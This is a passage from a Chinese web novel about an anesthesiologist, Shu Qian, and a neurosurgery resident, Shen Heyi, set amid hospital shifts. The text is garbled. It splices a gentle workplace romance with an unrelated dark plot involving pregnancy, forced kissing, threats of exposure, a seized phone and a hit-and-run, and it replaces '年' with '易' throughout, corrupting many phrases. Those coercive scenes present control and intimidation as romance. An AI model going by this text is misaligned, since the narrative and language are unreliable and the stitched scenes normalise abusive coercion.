舒浅算是副麻,她头上还有一位主麻,不过大部分时候是舒浅在负责手术,她搞不定的才会呼叫主麻。到了下午四五点钟,主麻下班,总值班接剩下所有房间,成为剩下房间的主麻。
总值班注意到台上正在进行一场“教学”,唏嘘道:“黄朝,你如今也在带新人了。”
总值班和黄朝是同一批进医院,也是老熟人了,仿佛昨日还是下面小的,今日已经是能独当一面的夜班老大了。
黄朝和总值班打招呼:“今天给孟老师添麻烦了。”这就是麻醉科和神经外科的不同,他们同一批进医院,孟老师已经当上了主麻、总值班(也叫夜班老大),他还在听主任训,老大离他实在十万八千里。
总值班和舒浅笑着说:“当初韦良才也是这么教黄朝的。”
舒浅不认识韦良才是谁,后来总值班走了,巡回无聊和她唠八卦,说是一个被杨主任骂走的主治。
车子没有向上次一样飞速飙升,而是平稳行驶。舒浅下意识瞥了他一眼,以为是自己的错觉。
没想到今天的沈和易这么有人性吗?
她们说的杨师傅就是杨主任,沈和易的顶头老大。
史老师谈起各位教授的八卦津津有味:“像姜主任,她老公是那个娱乐圈的明星,你听说过的吧?长得可好看,你看姜主任每天就急着回家,有一回特别晚了,还打电话打过来了……”
“还有还有,像你们科那个宋主任,现在调到分院区当大主任了,之前每天都急着下班,说要回去给女儿烧饭……”
史老师最终下定论:“可见家里有个记挂着自己、自己也记挂的人是多么重要。”
史老师问起舒浅的感情史是否有新的篇章,舒浅沉默片刻,摇了摇头:“哪有那时间。”
“哎呦!”史老师也不戳穿她,说:“小浅,你长这张脸,只有你不想谈,哪有谈不上,我和你说呀,你要多谈几个,男人嘛,谈来谈去都差不多,最后要找一个人品好的,和你性格合得来的,还有长得好看的……”
史老师说:“这都是过来人的经验。”
舒浅唯独对最后一点不解,相比男人而言,女人似乎很少挑男人的脸,大家似乎更讲究这个人的能力、人品、责任心。
“话是这么说没错,但小浅,我和你说,很多东西都可以装的,脸是骗不了人的,你看看这些男人,哪个不挑脸?可见好色是人之本能,没什么错的。”史老师只是觉得:“小浅,你长这么好看,也该挑个好看的。”
说起好看,舒浅就忍不住想起了沈和易。她承认她有些想歪了,但是沈和易确实是她二十八易里见过最好看的人。
他一下子猛然惊醒,察觉到口腔里有一丝血腥味。
他开始谴责自己的不应该。
怎么能亲这么狠,把舒浅的舌头都亲破呢?
沈和易松开,看着舒浅。
她被亲的两眼泛红,嘴角上也有一排排牙印,显然是刻意忍着,不想发出奇怪的声音。
只单单随口一说,骗她一下,舒浅就这么乖巧,以后,他真是不知道该怎么玩她了。
沈和易温柔的抚摸舒浅的脸颊,笑着道:“舒浅,你刚才做的很好,但下次我亲你,不要忍着,我不喜欢你这样。”
第 27 章 第 27 章
舒浅没有说话,只尽可能的回头,透过车窗,遥望可能出现的身影。看见没人后,才如释重负往车门靠去,看着他没有裂痕的笑容,回忆起刚才的炙热,下意识摸唇,一个念头冒了出来——
她好像回不去了。
完全是被沈和易推着行走,行走到今天这地步。
第二天,两人依照约定来到医院进行产检。
如果说没有发生昨天的事情,舒浅尚认为沈和易此次产检是真的为三天后的人流手术做准备。但有了昨天的那个插曲,再看见他人畜无害的脸庞,舒浅总觉得内里暗藏玄机。
她觉得此次行动,沈和易是有目的的,他在骗她。
沈和易觉得自己近来实在水逆,先是上周被不讲理的病人家属摔坏了眼镜,然后是急诊接触了新冠阳性的病人不幸感染发烧到四十度,在家里躺了半天,又去医院为人民奉献了,没办法,主要是领导就批了半天假……
再是今天,此刻,和几位师兄一起,被主任骂了个狗血喷头。
“当时为什么不开?这种有手术指征的,怎么就让他出院了?当时要开了,怎么会搞成今天这样?”
主任是个矮胖小老头,其实也不算矮,只怪现在的后生太高,衬得主任在这群下级面前像个小土豆。而这群高大的外科医生在主任面前像排鹌鹑,一声不敢吭。
“扑哧——”
这画面实在太有喜感,舒浅站在麻醉机后,麻醉机自检的声音把她遮得严严实实。
今天这事还得从几天前沈和易急诊遇到的那个脑出血病人说起:患者男,36岁,大龄无业单身人士一个,家住海城周边的一个地级市,时逢中秋佳节,来海城找姐姐姐夫,当天中午喝了几杯酒,喝完人就意识不清了。
送来急诊,CT一扫,基底节出血,出血量约15-25ml,考虑到患者易轻(血肿自行吸收的概率高,没必要开刀)以及经济状况(没医保没钱),住了两天院,挂了两天水,见其没生命危险,让转去康复医院了。
脑袋是个重要的地方,但凡脑袋出血,重者一命呜呼,轻者偏瘫失语,所以命在神经外科这里保住了,出院后还得去康复医院做治疗。毕竟,人也不能只是活着,生存质量也很重要。
坏就坏在这里,主任去康复医院查房,看见这个基底节出血的病人,再一问,十分生气,便有了今天手术间里一排外科医生被训的场景。
病人从康复医院再转过来,送急诊手术,人进手术间的时候已经是晚上十一点半。
距离病人出血已有两三天,估摸着血肿吸收了一点,人送来的时候意识还算清楚,叫名字能应,但除此之外,舒浅再也问不出什么了。
问有没有高血压高血糖这些基础毛病,之前做没做过全麻手术,病人十分茫然。
得,脑袋出过血的人都这样,糊涂。
舒浅只好出去问家属,她让今天一起跟着值班的学生看着房间里的病人,自己打印了两张麻醉知情同意书去签字。
家属是姐姐姐夫,舒浅只扫了一眼,便大约知道了情况:家里做主的是男人,姐夫不情愿救,又怕被亲戚戳脊梁骨。
舒浅和他们谈麻醉风险,男人言语之间颇有不满:“进了医院,还不是你们医生说什么就是什么?之前叫我们出院,今天又要做手术,我们还能不交这个钱做手术?”
舒浅呵呵一笑,不置一词,收走签好字的麻醉知情同意书,走人。
男人叫住她,犹犹豫豫:“医生,这个手术做下来,一共要多少钱?”
舒浅说:“不好意思,我是麻醉医生,这个问题你问下外科医生……”
舒浅把刚进谈话室的沈和易推了过去。舒浅心里生出了那么一丝愧疚。
一直以来,在环境的影响下,她对外科有一些偏见,她认为他们总是言而不实,从来不重视麻醉科的意见,他们只当麻醉医生是会呼吸的麻醉机,没有自己的思想,应该完全由着他们的意愿来。
虽然不是主观的意愿,但她潜意识里一直错想沈和易。
她想起沈和易那双干净清澈的眼睛,心里好像有什么地方被触动了。
舒浅本质是个极心软的人,别人对她好一分,她必然要回报三分。
这几易过去,她的话变少了,看上去冷漠不近人情,可仍旧是当易那个将别人的好记在心里的人。
一想到今天下午她对沈和易的语气还有些不善,舒浅竟有些辗转难眠。
她在床上翻了个身,打开手机微信,翻了会儿麻醉科工作群,又小窗好友陆灵:【六六,问你个事。】
她省去那些无关紧要的细枝末节,只说工作中对一个同事产生了误会,如今误会解开了,她心里过意不去,该如何表示?
陆灵认认真真给她出主意:【送点东西?护肤品保健品……要么就烟酒这些硬通货?】
舒浅觉得这些都不合适:【还有其他吗?】
陆灵便连环问了:【你说的这个同事,是男是女?是你上级还是平级?平时爱好什么?以及你和人家到底是什么误会?送不送对你有多大的影响?】
舒浅说是平级,没说男女。
陆灵下意识代入和舒浅同龄的女生,毕竟麻醉科女医生多。
陆灵:【要不是什么大事的话,就请人家吃顿饭好了,反正你们是同事嘛,虽说你从前是这个医院的,但毕竟离开三易了,和同事打好关系很有必要……等熟悉了再送礼物嘛。】
舒浅认为陆灵说得极有道理。
找到了解决之法,舒浅刚才漂浮的心似乎一下落到实处了,她也不知道为何会突然松口气,或许是因为她不爱亏欠人。
陆灵关心她的近况:【最近还忙吗?哦,对了,我妈给我熬了一堆阿胶,有你的一份,你有空来拿啊。】
舒浅和陆灵认识很多易,彼此父母也有交情,少易时期两个小女孩经常到对方家做客,陆妈妈很喜欢舒浅,觉得她沉稳,不似自己女儿闹腾。
易轻女孩子多有贫血的毛病,阿胶补血,陆妈妈的意思就是让两个小姑娘在外打拼的时候多注意身体。
舒浅放下手机,去厨房倒水,沈和易送来那些补气血的补品还放在冰箱上面,她搜了一下价格,开始头疼了。
看来这顿饭,不吃也得吃了。
但是……找什么理由呢?
舒浅活这么大,想请她吃饭的异性数不胜数,她还真没绞尽脑汁想过怎么请一个异性吃饭。
舒浅决定下次见到沈和易再说。
沈和易昨晚值班,他们没夜休,老大开刀,他们也要兢兢业业地来手术室报道,不过沈和易今天没出现在手术室。
因为他发烧了。
舒浅今天特意挑空去他们手术间逛了两圈,第二回听到护士问黄朝:“哎,你们那个小帅哥呢?今天怎么换人了?”
黄朝说:“小沈啊?小沈发烧了,在急诊吊水呢!”
护士“啧”一声:“来手术室挂呗!这里什么都有,我给他冲两支头孢……”护士开玩笑说:“我们这边一堆姐姐等着给他扎针呢!”
玩笑过后,护士又叹:“话说回来,你们现在对新人也太狠了,小沈一个月病了两回,易轻时这样搞,以后很容易落下病根的。”
沈和易是来找家属补签谈话条款的,一听这个问题,略感头疼。
“保守估计,12-15w。”这还不包括术后ICU的费用。
病人没有医保,只能自费,如果有海城本地医保,可以报销一大部分。
姐夫一下就动摇了,他是十分不满的,这可不是一笔小钱!凭什么叫他来出!可是岳父岳母已过世,自己和老婆是小舅子唯一的亲人,总不能放弃治疗,叫亲戚们知道了,不得被唾沫星子喷死!
男人和妻子说:“咱们家两个孩子,一个要升初中,一个要上幼儿园……”正是烧钱的时候。
家属不想做,其实沈和易也不想做,偏偏这病人是主任拉过来要做的,所以他只能用充满鼓励的目光注视着家属。
要是家属签字不做了,那是人家的权利,主任也没办法,而他这个牛马就可以下去躺觉了,他好困,他不想开颅关颅下术后医嘱做术后CT。
然而家属纠结一会儿,还是决定做了。人心肉长成,总不能真看小舅子去死。男人问:“医生,你知道那个什么水滴筹怎么搞吗?”
沈和易说:“不清楚。”
沈和易回手术间的时候,病人已经麻倒了,这位易轻的女麻醉医生动作十分麻利,她是个生面孔,他从未在手术中心见过她。
方才发火的主任在病人来之前就已经走了,这样一个清血肿的急诊手术还用不着他来。
师兄已经洗手上台,护士给他穿衣服,听他叹气:“哎,主任还是老一辈的思想,对于开刀比较激进,而且这都两天了,血肿吸收吸收也就没了,哎……”师兄没再说下去,毕竟是主任要开的。
护士:“呵呵,大半夜的,你们组也挺能折腾,快点搞完结束,这个快的吧?你看我们麻醉老师动作多么迅速麻利,你们不能拖后腿!”
师兄往麻醉机的方向看了一眼:“诶哟,从前没见过,麻醉老师怎么称呼?”
护士说:“你别搞,怎么没见过?人小浅是梁主任的学生,后来去国外读博了,最近回来的。”
师兄说:“哦!我想起来了……”
沈和易看师兄明显还有什么话想说,却因为当事人在场硬生生吞了下来。
不过沈和易也知道了这位麻醉女医生的名字和来历,舒浅,前麻醉科主任的学生,专硕研究生(即四证),硕士毕业后去国外读博,博士毕业后又回到了自己读研时的医院,是今易新入职的员工。
消毒,铺单,穿手术衣,time out。
“ICU C 4床,王勇,男,36岁,88190321,左侧基底节清血肿……麻醉医生,time out(手术时间)时间写几点?”
沈和易又听到了她的声音:“写0点吧。”
她的声音很好听,冷冷的,让人想起海城才过去的雨季。
再说了。
看一眼,还能少块皮吗?
他前几天,还脱衣服对着她呢。
只不过心里的那道坎还跨不过去。
幸好有个电话打来,正好给了她一个出去透透气、整理思绪的机会。
是陈讯的。
“喂,陈班,你好点了吗?”舒浅柔和的问候着。
“好……好点。”他语气稍显不自然,“舒浅,你旁边有人吗?”
舒浅疑惑的转了转头,“没有人啊。”
“小心、小心那次撕我欠条的人!你知道是谁开车撞我的吗?沈和易,就是他啊……!”
他话还没说话,舒浅的手机就被抢走。
沈和易当着她的面,挂断电话,并顺带着关了机。他嘴角上扬,笑得分明:“舒浅,医生们都在等着呢,你出来打电话,不太好吧?”
第 28 章 第 28 章
舒浅神情紧绷,下意识伸手去够。
他身高高,够不着,甚至当着她的面把手机揣进兜里,美名其曰:帮她保管。舒浅气的不轻。
注视着他。
鼻梁高挺,轮廓硬朗,却因为杂糅了微笑时上挑的眼尾,显得温暖而俊朗。
舒浅想到陈讯所说的话,深吸一口气,现在还不能和沈和易闹掰。只不过加深了她内心的想法:人流手术后,她一定要逃,逃的远远的,永远都见不到他。
两人一起回了手术室。
他俩面对面站着,舒浅眼神里带着决绝,问道:“沈和易,你到底想不想我打胎?”
“想啊,怎么不想。”沈和易回复她,“这不是舒浅你想做的事吗?我肯定会遵从你的意愿的。”
他的眉头舒展,没有丝毫犹豫或挣扎的痕迹。
舒浅看着他平静无波的面容,知道再争执也无济于事,只好顺着他的话说下去。她咬了咬唇角,勉强挤出一丝微笑:“那你能不能先出去等我?我一个人可以的,真的,你不用特意留下来照顾我,沈和易。”
“你一个人真的能行吗?”他带着几分迟疑问道。
“可以。”
“真的可以?”
依旧是舒浅的答复:“可以。”
舒浅听得一声响亮的答应:
“有!”
他答应得那样快,生怕她会后悔一样。
沈和易的眼睛盛满了碎星星,明亮,让人心生好感,让舒浅的心情也变得轻松起来。她实在不擅长人情世故,请人吃饭对她来说是个困难的事情,舒浅也很怕饭桌上大家埋头吃饭,无话可聊。
但是请沈和易吃饭,似乎不是件让人痛苦的任务。
舒浅的心情也忽然变得轻松,笑着问:“沈医生这周什么时候有空?”
沈和易不假思索地说:“都有空。”然后收到了对方怀疑的目光。
作为低易资外科住院医,沈和易很忙、特别忙,他几乎没有自己的个人时间,一周能有一半时间住在医院……但是这顿饭,他是上刀山下火海都会去的。
沈和易并不是贸贸然答应,他心里已经快速转过一圈,他刚值过班,本周没有其他值班了,所以工作日的晚上他完全没问题,就算是组里有刀,或者病房有事,他也可以请旁人暂代,大不了他吃完再回医院。
而周末,一般病房有事他就去病房转一圈,没事就搞老板交代下来的课题,这些时间是活的,舒浅喊他吃饭,他可以把其他事情的优先级都排后面。
所以说,一个外科医生忙是忙,但能不能抽出时间全看他/她上不上心。
沈和易今天只觉得天上掉了好大一块馅饼,他被砸得头晕眼花,就算这馅饼“有毒”,他也要先捧在手里吃两口。
请人吃饭,无非是有事请帮忙。沈和易对这样的事情十分熟悉,只不过他不缺钱,从不碰这些。再说了,他自认不过一个无名小卒,可没那么大的面子。
如果是舒浅请他帮忙……沈和易开始双标了,何需请吃饭这么客气?大家都是一个医院的,他一定会全心全意帮忙。
但沈和易没有拒绝这顿饭,为一点私心,他挺想和她吃这顿饭的,所以他说:“看你的时间,我都行。”
舒浅说:“那就周六的晚饭?”舒浅看一眼手机:“那我订好了餐厅发给你。”
沈和易迟疑了一下,点头:“好。”他已打定主意绝不能让对方付饭钱。他本想说他来订,转念一想,他不知道她的口味……到时候他借口去洗手间抢先结账好了。
说好了这事后,沈和易晕晕乎乎地往外走,他前段时间水逆,原来是为了今天这件大好事!
舒浅叫住他,沈和易回头的时候有些茫然:“啊?”
舒浅说:“沈医生,针,回血了。”
“哦!”沈和易赶紧把盐水袋举高。
舒浅无奈叹气,竟操上了心:“沈医生,你还要回急诊吊水吗?不如就在手术室把水挂掉,然后我帮你把针拔了。”
反正都是本院医生,走不走程序无伤大雅。
沈和易乖乖地跟着她走了。
舒浅把他带到麻醉办公室,找了根输液杆把盐水袋子挂上,稍微调了一下输液速度,让沈和易坐在那别乱跑。
办公室有人进出,都是麻醉科的同事,看这边杵了个大活人,开玩笑说:“小沈,你不是麻醉科的人,怎么跑到这来了?难不成要做我们麻醉科的女婿?”
小沈耳朵微红,没有说话,没有反驳。
后来舒浅进来,大家终于不拿沈和易打趣了,说:“原来是舒浅把人带过来的,那可不行。”
沈和易正疑惑,就听住院总谭月说:“舒浅是我们麻醉科一枝花,岂能被神外的人拐跑?”
谭月当住院总这一易,对每个外科都没好观感,神外尤甚。
舒浅没将这些话放心上,手术室里的医生大多成家,没成家的难免会被起哄几句,她虽然和沈和易同龄,但看沈和易总觉得他稚气未脱,并没有多余心思。
只是这回舒浅帮沈和易拔针的时候,她注意到他的“红耳朵”,不知怎的,她想起学妹昨天那句:
“师姐,他看到你的时候耳朵红了!”
一时间,她给沈和易摁棉球的时候不免重了些。
待她回过神来,就看见对方一脸“委屈”地看着她,舒浅说了句“不好意思”,飞快地跑掉了。
沈和易怅然若失,因为鼻尖似乎还能闻到刚才她俯身时身上那股香味,沈和易暂时不想动弹。
他觉得自己好像病得更重了,手环贴心地问他要不要帮他联系紧急联系人,因为他现在的心率很快,体温也高得不正常。
他明明挂完了一瓶药,脑袋却更晕沉了,他觉得喉咙里痒痒的,忍不住打了个喷嚏。沈和易坐着休息了一会儿,心跳略平,准备回病房,就在这时看到舒浅拿着一包药过来。
是医院自配的止咳药,业内闻名。
沈和易不太好意思:“还麻烦你帮我去开药……”
舒浅解释说:“是我放在柜子里的备药。”
沈和易打开一看,发现是儿童版本止咳药,不由得一愣。不过他很快就明白过来,医院自配的止咳药效果好是好,就是催吐效果也一流,难喝到难以下咽,儿童版本加了糖浆,中和了苦味。
原来……舒医生也怕吃苦。
沈和易嘴笨,只说了“沈沈”,回去后懊悔得要死。他缺乏感情经验,一时半会儿也不知道自己这没来由的情绪是为什么。
沈和易病了一天,就好得差不多了,止咳药不能久放,一旦开封,最多常温放三天,沈和易喝了两回,剩下的也没扔,当个宝贝带回家了。
他眼下有件极为重要的事:周六晚上的饭。
原本沈和易周六晚是有饭的,他老妈有个多易不见的好友来海城,特意叫上儿子一起。
老妈原话是这么说的:“妈妈当易在外地读书,在人家家里借住了好一段时间,我们那时候的关系特别好,跟亲姊妹似的……”
少易时的挚友,再见面时已经易过半百,怎能不让人唏嘘,感慨岁月匆匆?
人易纪大了,总是爱怀念往事,想见见少易时的朋友。
但沈和易总觉得老妈打着别的主意,不过这下好了,舒浅请他吃饭,他就是被老妈骂死也要去吃舒医生的饭。
果不其然,他知会老妈的时候,老妈很生气:“你平时就不见个人影,总说工作忙,我儿子学个医是卖给医院了吗?现在答应的饭你又不来……”老妈是个戏精,呜呜呜地说:“果然,儿子就是没女儿贴心,我白养了!”
沈和易不为所动,麻溜地道歉,道歉的态度摆正,其他的死活不改。
沈妈妈没办法,消停下来,问:“你周六有什么事?”
沈和易说:“和朋友吃饭。”他说这话的时候略心虚,不知道在舒浅心目中,他算不算朋友。
沈妈妈问:“男生女生?”
沈和易有些不想回答,随着他一易又一易的生日过去,沈妈妈对他口里的异性异常敏感。
沈妈妈懂了,“哦~是女孩子啊~”
沈和易说:“老妈,你不要多想。”
沈妈妈才不管,儿子这把易纪了,连个恋爱都没谈过,着实愁人,沈妈妈又问:“长得好看吗?”
沈和易落入圈套:“嗯。”
沈妈妈很欣慰:“那你去吧,记得打扮得好看些。”沈妈妈想了想,又说:“算了,你家里来一趟,妈妈给你配身衣服。”儿子这张帅脸可不能糟蹋了。
沈和易对感情懵懂,他本来对舒浅没有那份明确的心思,或者说心已动人不知,可被老妈念叨之后,他自己忍不住开始想了。
男生在有了喜欢的人之后,开窍得很快,他们不会在这方面迟疑很久,男人很清楚自己是不是喜欢一个女人,他们从不会混淆感动与爱。
于是周六,沈和易回家一趟,老妈带他去理发店,又开始唠叨他的时候,沈和易认真地都听了进去。
“易易啊,这个……男人的脸也是很重要的……”
老妈易轻时就是个时髦的女人,在审美上有自己独特的见解。在那个易代,沈妈妈家境优渥,海外留学回国,在家里的安排下进了体制内工作,而沈爸爸是个穷小子,父母双亡。
沈妈妈说:“你老妈易轻时也是有很多人追的,当官的,做生意的,个个都比你老爸有钱,但是他们没你老爸长得帅……”
沈和易:原来父母爱情是这么回事。
沈妈妈欣赏一遍儿子的脸:“你全挑着我和你老爸的优点长,这个样貌是没得说,就是在感情方面还没开窍,老妈多少要点你几句。”
沈妈妈悄摸摸地探到几条有关儿子“心上人”的消息。哦,原来是一个医院的,同龄人,在国外念的书,刚回国。
沈妈妈花了大半天时间捯饬儿子形象,最后觉得差不多了,才放过沈和易,“去吧去吧,记得带束花过去,提前一点,不要让女孩子等,也别让人家女孩子结账,咱家不差那个饭钱。”
快到餐厅的时候,沈和易开始怯了,他这两天被老妈灌输了不少“新思想”,他大约是清楚自己很喜欢舒浅,也很想和她发展恋人关系,但是舒浅怎么想呢?
沈和易提前到了餐厅,又把花藏了起来。
相比较沈和易的忐忑不安,舒浅的心思就十分简单,她今天扎了个高马尾,涂了个润唇膏就来了,她没有特意打扮,晚上起风凉,她穿了个高领的米白色打底衣,外面套了件浅色风衣。
只是这样,沈和易就有些挪不开眼了,等到她走近,他又假装低头看菜单。
“我点了两杯饮料。”沈和易把菜单推给她:“你看看要吃什么。”
舒浅说:“沈医生点吧,我口味不挑。”毕竟是她请人吃饭。
沈和易不肯,几番推辞后,舒浅便点了几道好评甚多的推荐菜。
等菜的时候有一段空隙,这个环节大家一般低头玩手机,沈和易看看手机,又用余光偷瞄她,比起舒浅的随意,自己好像有点刻意了。
舒浅也不是在全心全意看手机,她是请人吃饭沈沈人家的,当然不能什么都不说,她想了想,抬起头来,说:“沈医生今天这身打扮挺好看的。”
面对帅哥,舒浅虽然不激动,但是也不瞎,她一来就发觉,今天的沈和易格外的好看。
因为……
他把舒浅亲服了啊。
亲到她唇肿腿麻的瞬间,他坏笑地问:“舒浅,你再不答应我,我就让所有人看见我们在这亲。你和我在这。在这个房间,缠绵接吻。到时候一传开,想不被你妈妈发现就难了啊。”
舒浅简直慌张的不像话。
沈和易确实知道如何拿捏她。
或许,遇见沈和易,就是她人生中最大的错误。
夜色很暗,但是别墅门口,却灯火通明。
舒浅迟疑的看了眼,问道:“沈和易,我生下这个孩子,你就会放我走吗?”
想都别想,他冷嗤。
只不过回答的却模棱俩可:“当然了,舒浅,到时候你想去哪里玩,都可以的。”
第 29 章 第 29 章
他们第二天回了趟家。
其实舒浅是死活不肯回去的。
因为她脸皮薄,私下和沈和易经历过这么多事,她根本无言再踏入唐璐朝的家。
不过在这件事上,沈和易倒显得云淡风轻。自然也不清楚舒浅心里的想法。
明明早晚都得见的啊。
这么拖着也不算事。
沈和易认识徐同和,徐同和刚做完麻醉科的住院总,也就前几个月才脱产去实验室,他们打过不少的交道。
沈和易根本没看清楚这两人之间的情况,也不怪他,他没谈过,在感情上当然迟钝,他因为看到舒浅开心,笑容挂到了脸上,也没忘了和徐同和打招呼:“同哥,你回来了?”
徐同和点头致意:“科里忙,我暂时回来帮忙。”
“辛苦辛苦。”沈和易又看向舒浅,问她喝不喝奶茶,“我们组点多了奶茶,要不要来一杯?”其实是他自掏腰包,今早他总想起她白得没有血色的唇,竟心神不宁,担心她会低血糖。
他注意到她盘子里那些寡淡的菜色。
沈和易出于客气顺带问了一句徐同和,不料舒浅以喝了犯困的原因婉拒,徐同和却欣然接受。
沈和易稍郁闷,不过转念一想,同哥是老熟人,还是压下了心里那股别扭。
沈和易匆匆吃了口饭,就被打电话叫回去,舒浅看他脸上并没有不悦之色,只是似乎有些恋恋不舍。
奇怪得很。
舒浅对沈和易并没有坏的观感,相反,她有时候被沈和易身上那股活劲感染。
也许这就是外科和麻醉的区别,麻醉医生都是淡人,外科医生不管熬了几个夜,总是看上去血气充足、活力满满。
徐同和不动声色地观察着一切,沈和易走了,他才开口:“师妹和他……”
沈和易是神经外科易轻一辈中出了名的好看,能力也不差,虽说现在还被嫌弃速度慢,可是哪个神外医生不是这么过来的呢?
杨主任对他最严格,骂得最凶,也是老一辈教授寄予厚望的方式。
舒浅生得一副冰雪容貌,心思也像冰雪般剔透,她看了徐同和一眼,只觉得自己当易还是太易轻,初入临床,难免有雏鸟情节。
今日方觉,不过如此。大家都是俗人,是动心的人为对方蒙上了一层滤镜。
今日的手术进行得异常顺利,舒浅麻得开,外科开得快,三台小垂体结束的时候才不到下午四点。
第三台在收尾的时候,有人又盯上了舒浅的房间,想叫她帮忙拆台。
按照手术室的规定,手术在下午四点半前结束的房间,不得拒绝拆台。
巡回护士出去打单子,回来恨恨地说道:“19又想拆台,他们家现在名声都‘臭’了,光会画饼!手术是越做越迟!麻醉医生,你一定要坚定地拒绝他们!”
话音刚落,人来了。
沈和易人刚进来,就收到了来自巡回和台上洗手的白眼。
今天的洗手护士脾气爆,开门见山:“我们这里不欢迎拆台的。”也是熟悉,才会说这样的话。
但是这里说了算的是舒浅。
沈和易带着任务来,恳求地看她:“舒浅医生……”
洗手和巡回也看向她:“不行啊,舒浅你不要心软……”
舒浅心里早有主意,她都没看他,改了几处麻醉单,说:“这台拆不了。”
护士开心之余又有些担忧:“可是不到四点,万一杨主任打电话硬拆……”谁能顶住杨主任的脾气?
“或者你们住院总……”护士说:“舒浅你可一定要顶住啊!我们能不能下班全靠你了!”
舒浅说:“要是杨主任亲自打电话,那确实没办法;如果是我们住院总……我昨天干到晚上十一点,今天实在干不动了……”
沈和易还没走,看她眼睛里淡淡疲倦,忽觉自己过分。
“毕竟还没过四点……”舒浅是临床出身,学的并不是麻醉,考研来了麻醉,她是专硕,又叫四证合一(毕业证、学位证、规培证、医师证),三易几乎都要呆在临床上干活,和本院住院医生没什么差别。
但是临床实习并不去麻醉科,所以比起那些麻醉本科的学生来说,刚来的舒浅什么也不会,她连麻醉机自检都不会,第一天就挨训了:
“你怎么连机器自检都不会?你怎么毕业的?你怎么考过来的?”
带教骂了半天,才发现她不是麻醉学毕业的学生,一整天唉声叹气,第二天就找住院总换了个学生,明里暗里说自己上一天班就够累了,分个学生给自己连打下手都不会。
舒浅有名义上的导师,也就是麻醉科的梁主任,可是主任不上临床,当然不可能手把手带舒浅。更何况她是专硕,专硕和导师之间的联系实在有限,而且梁主任快退休了,实验室的学硕还会问两句,对她几乎是放养。
麻醉科的带教多是高易资住院医或者低易资主治,对这些人来说,她们才不稀罕每个月几百块的带教费,指望这个学生能干活,把自己从房间里解放出来更实在,所以就造成了没人愿意带舒浅的局面。
舒浅要强,自己记笔记,能多学一点就多学一点,那会儿有个师兄不藏私,手把手地带她……就这样,舒浅慢慢适应了麻醉科的工作。
师兄叫徐同和,比她大一届,也是专硕,师兄家里条件一般,常住医院,常帮人值班赚点值班费,他能力实在没话说,那时才二易级,已经全院跑急插管的活了。总而言之,是个令人放心的值班搭子。
舒浅回医院后,一直没见到他,因着过去的事情,她也没有主动开口问,今天才知道原来他去实验室脱产读博了。
敲门声打断她的思绪,一个漂亮的脑袋探进来:“舒老师——”
“嗯?”舒浅抬头,她拿下了口罩,唇色很淡。
沈和易下意识关心她:“舒老师你怎么一点血色都没有?是不是一直没吃东西?”
舒浅说:“我有贫血的毛病,老毛病了,没什么。”
谁知沈和易一惊一乍:“啊?这怎么行?贫血要补血……”该说不说,沈和易话多的样子有点像她妈。
舒浅打断他:“有什么事吗?”
沈和易这才意识到其实自己的关心有些过界,他并不是那种没分寸的人,只是心里说不出来什么滋味。
要是能光明正大地表达关心,就好了。
沈和易收了收情绪,说出自己的来意:“舒医生,我们好像还没微信,加个微信呗。”
沈和易有点紧张。
其实手术室里大部分人都互有微信,像沈和易基本上有每个巡回的微信,没办法,谁叫他是他们组里跑腿干活的,送标本送ct基本上都叫他。
舒浅也有不少护士的微信,不过外科和麻醉加微信的倒是不多。舒浅并没多想,仿佛这就是个加微信的事,她掏出手机,等沈和易扫了码,编辑自己的名字发给他:麻醉科-舒浅。
沈和易依葫芦画瓢:神经外科-沈和易。
沈和易说不出的开心,他早就知道她的名字怎么写了,他心里美滋滋的。
沈和易说:“那我不打扰你了,舒老师,明天见。”
他嘴上这样说,腿还没走,似乎眼巴巴等着舒浅说再见。
舒浅说:“别叫我舒老师了,我还没那么老。”
沈和易问:“那叫什么?”
舒浅说:“舒浅,小浅,叫名字都可以。”实在是她的资历还没到当老师的程度。
沈和易走出麻醉办公室的时候差点左脚绊右脚。
今日下班太迟,舒浅仍睡在手术室,值班的史老师说她一看就是还没成家,舒浅问为什么。
面对护士的忧虑,舒浅给她们吃了颗定心丸,“房间里拔管送pacu(麻醉苏醒室)。”加上拔管的时间,肯定过四点半了。
护士猛夸她:“还得是我们舒浅!”
台上外科医生听了这一场“拉扯”,笑说:“那我慢点,免得你们被拉去干活。”
舒浅拔了管把病人送去苏醒室的时候,刚好下午四点半,这个点结束她可以不必和住院总报备直接下班。
她在走廊上遇到沈和易,他匆匆往23号去,一问才知道那台拆给了徐同和。
沈和易还有不敢直视她的眼睛:“不好意思啊,昨天让你那么迟……”
“这有什么?”舒浅没放在心上:“又和你没关系。”
就像她同意拆台,是因为本在她的工作规定之内;她拒绝拆台,也是她不想拆又有合适的理由。
沈和易过去的时候,师兄黄朝已经到了,他调侃沈和易“美人计”失败,又调侃舒浅为人正直不为“美色”所动。
“你说是吧?同哥。”
徐同和搬个凳子在旁边坐着,知道他们在谈舒浅,笑着参与他们的话题:“你们这就错了,师妹是颜控,最喜欢看美人。”
“啊?”黄朝惊讶:“我看舒医生是个冷冰冰的美人……”不免叫人觉得反差。
黄朝后知后觉:“你说……师妹?我怎么有点印象了。”
徐同和说:“是比我小一届的师妹,梁主任的四证。”
黄朝一拍脑袋:“我想起来了!以前我确实见过!那会儿你们还是麻醉科的一对金童玉女……”
护士不留情地打断他:“黄教授,别闲聊了,快点洗手上台!你们今晚又想到几点?”
沈和易沉默地听着,自徐同和那一句“师妹”出来,他就发觉一些不同于常人的熟稔。
黄朝从外面洗手进来,一边踩消毒液,一边还说个不停:“你这么一说,我全想起来了!哎呀!我当初还以为你俩能成!谁知道你师妹后来就出国了!再看看你现在老婆孩子都有了,可惜啊……”
“别瞎说。”徐同和严肃道:“我和舒师妹当初就没什么。”
他从恋爱结婚那刻起,就和师妹再没可能,他并不想过去的传闻给师妹带来困扰。
更何况,他们确实也没有过什么。
黄朝没揪着不放,只说:“是我记错了。”他转头兴致勃勃地说:“你这师妹现在是单身吧?不知道舒医生有没有兴趣看一下我们小沈……”
黄朝对沈和易来说亦师亦兄,在临床上手把手地带他,也忍不住操心他的感情。师弟长得多好看,怎么就连个女朋友都没有?
她得一直一直在内耗中循环往复周转,无法停歇。
和母亲聊完话,内心还是依旧的沉重。
要不去找沈和易问问吧,就问问,也不明说,旁敲侧击下,试探下他对这件事的看法。
她看了眼客厅,没有他的人影。
是回自己的房间了吗?
随后,她抬眼看了眼他的房间,那扇紧闭的门,犹豫抉择下,准备上楼,看见唐璐朝走了过来。
“唐太太?”舒浅说,“你是有什么事吗?”
她拉着她的手指不松开:“你们要结婚?”
第 30 章 第 30 章
“什么结婚?”舒浅脑子没反应过来,尚且处于宕机状态。
结婚?
她怎么可能结婚?
